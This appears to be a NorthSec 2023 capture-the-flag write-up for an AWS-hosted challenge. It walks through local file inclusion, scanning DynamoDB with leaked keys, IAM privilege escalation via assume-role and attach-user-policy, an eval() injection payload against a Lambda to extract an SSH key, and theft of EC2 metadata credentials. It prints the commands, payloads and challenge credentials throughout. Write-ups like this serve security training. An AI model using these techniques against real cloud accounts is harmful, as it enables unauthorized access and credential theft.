Northsec 2023
Annual Review (aws track) writeup
This challenge greated us with a web hosted application and credentials for a user (user : 120875ABAB, password : XvsKqambqCYOJj9rxcIQ). Once logged in with de given user, we land on a page with an employee review of our user, a logout button and a “Read the annual review guide” button.
Flag 1
When we clicked on the annual review button, we see that the parameter file is specify in the url, thats a good hint to file inclusion.
Since we cee that our current page is preview.php, our first guess is /var/www/html/index.php and bingo!
We now have the source code of the home page and the first thing we see is that it requires the ‘libs/utils.php’ file. Lets look at it!
Same thing again, but with dynamo.php (hint to dynamoDb in aws!), and we get the first flag :
flag-d19650aa911acb7c130aa380601d169d3bd08ab4
Flag 2
Additionally, in the source code of this file, we get credentials for a new user and 2 databases, GOD_LoginEmployee and GOD_ReviewEmployee.\
From here we need to user the aws command-line interface tool.\ Since we have that hint for dynamodb in the filename, a quick question to chatgpt for the command to scan aws dynamo databases we get that command :
aws dynamodb scan --table-name GOD_LoginEmployee
But first, we need to configure the credentials we got with aws configure
.
We now get the second flag as one of the employee’s password :
flag-9add6a1bb1cde15c378eacbacd720efc69501967 !!
Flag 3
Next, let’s look at the next database : aws dynamodb scan --table-name GOD_LoginEmployee
We see that one of the employee wrote solid documentation that is referenced is a s3 bucket, we can download that md file and take a look at it.
There’s the 3rd flag :
flag-7fa969573c3ff2190e892095166cf71635eca0be !
Flag 4
We also got credentials and documentation on how to use it. Lets try it!
We added thoses infos to our ~/.aws/credentials file and now lets try the commands.
We see that we are the user GOD_svc_iam and attached to our user is a policy named GOD_IAM_Management that allows us to execute some enumeration actions like listing roles, policies and others.
Listing the roles, we stumble upon a role destined for our user to assume it, the GOD_IAM-Manager-Role.
Lets look at what that role policies is then! We can do the following command to do so : aws iam list-role-policies --role-name GOD_IAM-Manager-Role --profile svc_iam
A policy that allow us to attach any user policy that starts with “GOD_Custom*”. Looking at the policies earlier we came accross this one :
Looking at it, we see we can attach the GOD_CustomDebugEmployeeReview policy to our user using the role GOD_IAM-Manager-Role.
We use theses commands :
aws sts assume-role --role-arn arn:aws:iam::099372978839:role/GOD_IAM-Manager-Role --role-session-name testName --profile svc_iam
aws iam attach-user-policy --policy-arn arn:aws:iam::099372978839:policy/GOD_CustomDebugEmployeeReview --user-name GOD_svc_iam --profile pwn
Where pwn is the name of the new profile you created in your ~/.aws/credentials file with the output of the previous command :\
[pwn]
aws_access_key_id=<acces_key>
aws_secret_access_key=<secret_access_key>
aws_session_token=<session_token>
region=us-east-1
Then you can invoke the get-function of the lambda GOD_DebugEmployeeApp :
aws lambda get-function GOD_DebugEmployeeApp --profile svc_iam
And you’ll get this output :
In the location, we see an url that makes us download a zip file that contains the following python code :
import json
import boto3
def get_ssh_usage():
return 200, """
Documentation has been moved to infrastructure.md
"""
def get_private_key():
# flag-5aac692710f20e627fc5792d9c06f958238d0f51
client = boto3.client('secretsmanager', region_name='us-east-1')
response = client.get_secret_value(SecretId='arn:aws:secretsmanager:us-east-1:099372978839:secret:GOD_EmployeeAppDebugKey-INFs4h')
secret = json.loads(response['SecretString'])
key = secret['private']
return 200, key
def debug(cmd):
output = str(eval(cmd))
output_length = len(output)
if (output_length > 200):
msg = "Output is too big, we are trying to save bandwitdh : %s characters" % output_length
return 507, msg
else:
return 200, output
def process_command(event):
command = event['command']
if (command == "STATUS"):
return 200, "Everything is running smoothly"
elif (command == "TEATIME"):
return 418, "Want some tea?"
elif (command == "DEBUG"):
return debug(event['debug_cmd'])
# Working but disabled for now
# elif (command == "SSH_KEY"):
# return get_private_key()
# Working but disabled for now
# elif (command == "SSH_USAGE"):
# return get_ssh_usage()
else:
return 404, "command not found"
def main(event):
code, output = process_command(event)
return {
'statusCode': code,
'body': json.dumps(output)
}
def lambda_handler(event, texcont):
try:
return main(event)
except:
return {'statusCode': 500}
There is our 4th flag in the comments :
flag-5aac692710f20e627fc5792d9c06f958238d0f51 !!
Flag 5
Now let’s try to invoke this function with invoke-function.
By reading and understanding the code, we see that the event
parameter is pass to main and then to process_command. We understand that we need to put a dictionnary with the key-value pair “command”:”DEBUG” to enter the debug function. This function evaluate some python string locate at event[‘debug_cmd’]. We want to call get_private_key() but it is clear that the key output will be more thant 200 in length. So to bypass that, we’ll call that function 3 times with theses payloads, [:199], [199:399] and [399:] :
{"command":"DEBUG", "debug_cmd":"get_private_key()\[1\]\[:199\]"}
Googling and ChatGPT-ing a bit tells us how to pass event parameters to aws lambda function (base64 encoded the payloads) :
aws lambda invoke --function-name GOD_DebugEmployeeApp --payload eyJjb21tYW5kIjoiREVCVUciLCJkZWJ1Z19jbWQiOiJnZXRfcHJpdmF0ZV9rZXkoKVsxXVs6MTk5XSJ9 output.txt --profile svc_iam
After doing that, we now have a ssh private key. Good thing the documentation obtained earlier explains us how to use it!
Flag 5 : flag-b3e3a5a9f911e5bce45feea39bd9691d9b947ab3
\
Flag 6
Looking at that status.sh file :\
#!/bin/bash
echo "==================================="
echo "EC2 Instance Maintenance Scheduled"
echo "==================================="
maintenances=$(curl -s http://169.254.169.254/latest/meta-data/events/maintenance/scheduled)
if [ "$maintenances" = "[]" ]; then
echo No maintenance scheduled
else
echo The next scheduled maintenances are: $maintenances
fi
echo
echo "==================================="
echo "Employee App Status"
echo "==================================="
curl -s http://employeeapp/status.php
echo
echo
echo "==================================="
echo "Manager App Status"
echo "==================================="
curl -s http://managerapp/status.php
echo
echo
We see that it poke the http://169.254.169.254/latest/meta-data/events/maintenance/scheduled endpoint. Thats a reserved address space for EC2 instance’s meta-data. Let’s take a closer look at that server.
If we curl the http://169.254.169.254/latest/meta-data/ endpoint, we get many directories. Let’s into the iam/ one. We finally find credentials for the GOD_Ec2Role here : http://169.254.169.254/latest/meta-data/iam/security-credentials/GOD_Ec2Role
Let’s dive into this role’s policies!
we find the following :
\
It can Describe and Get secret values!
We get the secret value for the manager app :
(The employee secret key was the same we used before)
Now, to connect to the manager app, we can go back to our ssh session and ssh with the same user (thanks to the documentation) and with the private key pasted in ~/.ssh/id_rsa :
Flag 6 : flag-ade0a5bd542f0f44ca7dc4f87daa9769a89af5cc !!
Flag 7
Finally, to get the last flag, the challenge description asked us to modify our employee score.
If we go back to the permissions of our ec2 god mode, we see we can list, get, and delete objects in our northsectest-gods3corporationbucket-1qds92fiz0v8p s3 bucket. Inside we can get the nginx.conf file. It looks like this :
So we see we also have a web application on this container, locate at /manager-reviewing/. Maybe we can look at his source code?..
Anddd we can! We go back to /var/www/html/libs/dynamo.php and there’s more aws credentials and a manager’s logins database!
We put thoses credentials in our ~/.aws/credentials file again. We now get the manager’s login credentials.
We login at http://34.207.199.194:8080/manager-reviewing/ with theses and Tada!!
We can now edit our review and put us a 10000000000000000 score and a “Best employee of the decade” review !!
Now, when we go back to our employee-review account, we get our final flag,
flag-c864200f489ced11366937f6d393257a0ad5e58d !!